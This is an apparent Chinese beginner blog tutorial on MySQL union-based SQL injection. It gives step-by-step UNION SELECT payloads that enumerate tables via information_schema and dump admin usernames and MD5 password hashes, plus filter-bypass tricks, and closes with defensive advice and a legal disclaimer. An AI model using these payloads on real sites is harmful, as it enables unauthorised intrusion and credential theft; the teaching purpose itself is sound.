接上一篇继续讲,还是纯干货、接地气,适合刚入门想真正学会挖注入的同学。

0. 前言

上一篇我们知道了:

想脱库,必须靠 information_schema;

想查表,必须先查库名、表名、字段名。

但很多新手看完还是会懵:

页面不回显数据怎么办?

关键词被过滤了怎么办?

不知道当前数据库名怎么办?

这篇一次性讲全,让你真正从“看懂”变成“会用”。

1. 注入时最常用的几个核心函数(背会就够用)

新手不用记太多,下面这几个是注入高频函数:

database()

获取当前网站正在使用的数据库名。

version()

查看 MySQL 版本。

user()

查看数据库登录用户,有时候能看到 root。

concat(值1, 值2)

把多个字段拼在一起显示。

group_concat(字段)

把多行数据合成一行,一次性显示所有表名/字段名。

这几个函数,是脱库的“万能钥匙”。

2. 实战完整流程(复制就能跟着练)

假设注入点:

http://xxx.com/show.php?id=1

步骤1:判断是否存在注入

?id=1'

页面报错、异常 → 大概率存在注入。

步骤2:判断字段数(order by)

?id=1 order by 1

?id=1 order by 2

?id=1 order by 3

?id=1 order by 4

如果 order by 4 报错,order by 3 正常,

说明查询字段数 = 3。

步骤3:查看回显位置

?id=-1 union select 1,2,3

页面上出现数字 2、3,说明这两个位置可以展示数据。

步骤4:查当前数据库名

?id=-1 union select 1,database(),3

假设得到库名:test_db

步骤5:查该库下所有表名(核心)

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

你会看到类似结果:

admin,user,news,config,goods

admin 表大概率就是后台管理员表。

步骤6:查 admin 表的所有字段

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='admin'

得到字段:

id,username,password,status

步骤7:直接查询管理员账号密码

?id=-1 union select 1,concat(username,' | ',password),3 from admin

页面直接显示:

admin | e10adc3949ba59abbe56e057f20f883e

密码是 MD5 加密,随便找个解密网站就能解开。

到这一步,脱库完成。

3. 新手最容易遇到的问题:为什么查不出来?

很多人照着输却没结果,常见就这几个原因:

1)union 被过滤

页面空白、报错,说明网站屏蔽了 union。

可以尝试大小写绕过:

UniOn SeleCt

2)information_schema 被拦截

有些网站会过滤这个关键词。

可以用:

大小写绕过:InFoRmAtIoN_ScHeMa

编码绕过

内联注释绕过:/*!information_schema*/

3)单引号被过滤

可以用 十六进制 代替字符串,不用单引号。

4)没有回显

页面不显示数据,只能用:

布尔盲注

时间盲注

报错注入

后面我会单独出文章详细讲。

4. 为什么 information_schema 这么“危险”?

因为它是 MySQL 系统自带的,默认所有人都能读。

只要网站存在注入,你就能通过它:

遍历所有数据库

遍历所有表

遍历所有字段

最终拿到所有数据

这就是为什么:

只要有注入,整个库基本等于裸奔。

很多小网站、学生毕设、老旧系统,全都栽在这。

5. 开发该怎么防护?(简单有效)

不想自己写的网站被脱库,记住这几点:

绝对不要直接拼接 SQL

用预编译、参数化查询,99% 注入直接失效。

限制数据库账号权限

不给 file、drop、alter 等高权限。

过滤关键函数与关键词

union、information_schema、select、and、or 等。

关闭数据库错误回显

不要把数据库报错信息暴露给前端。

防护真的不难,

难的是很多人图省事,根本不做。

6. 结尾 & 下期预告

SQL 注入不是靠死记硬背,

而是靠理解逻辑、多练案例。

information_schema 就是注入的核心中的核心,

学会它,你已经超过很多入门新手了。

下一篇我会讲:

无回显时的 报错注入

最简单的 布尔盲注 手工流程

Sqlmap 一把梭哈教程

真实 SRC 漏洞案例分享

想学网安、渗透、挖漏洞、护网行动的同学可以关注,

持续更新免费干货,一起从零基础变强。

⚠️ 重要声明:

本文仅用于网络安全学习、代码安全审计。

严禁未经授权对任何网站、系统、服务器进行渗透测试,

违者需自行承担相应法律责任。

请遵守《网络安全法》,合法学习、合法研究。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐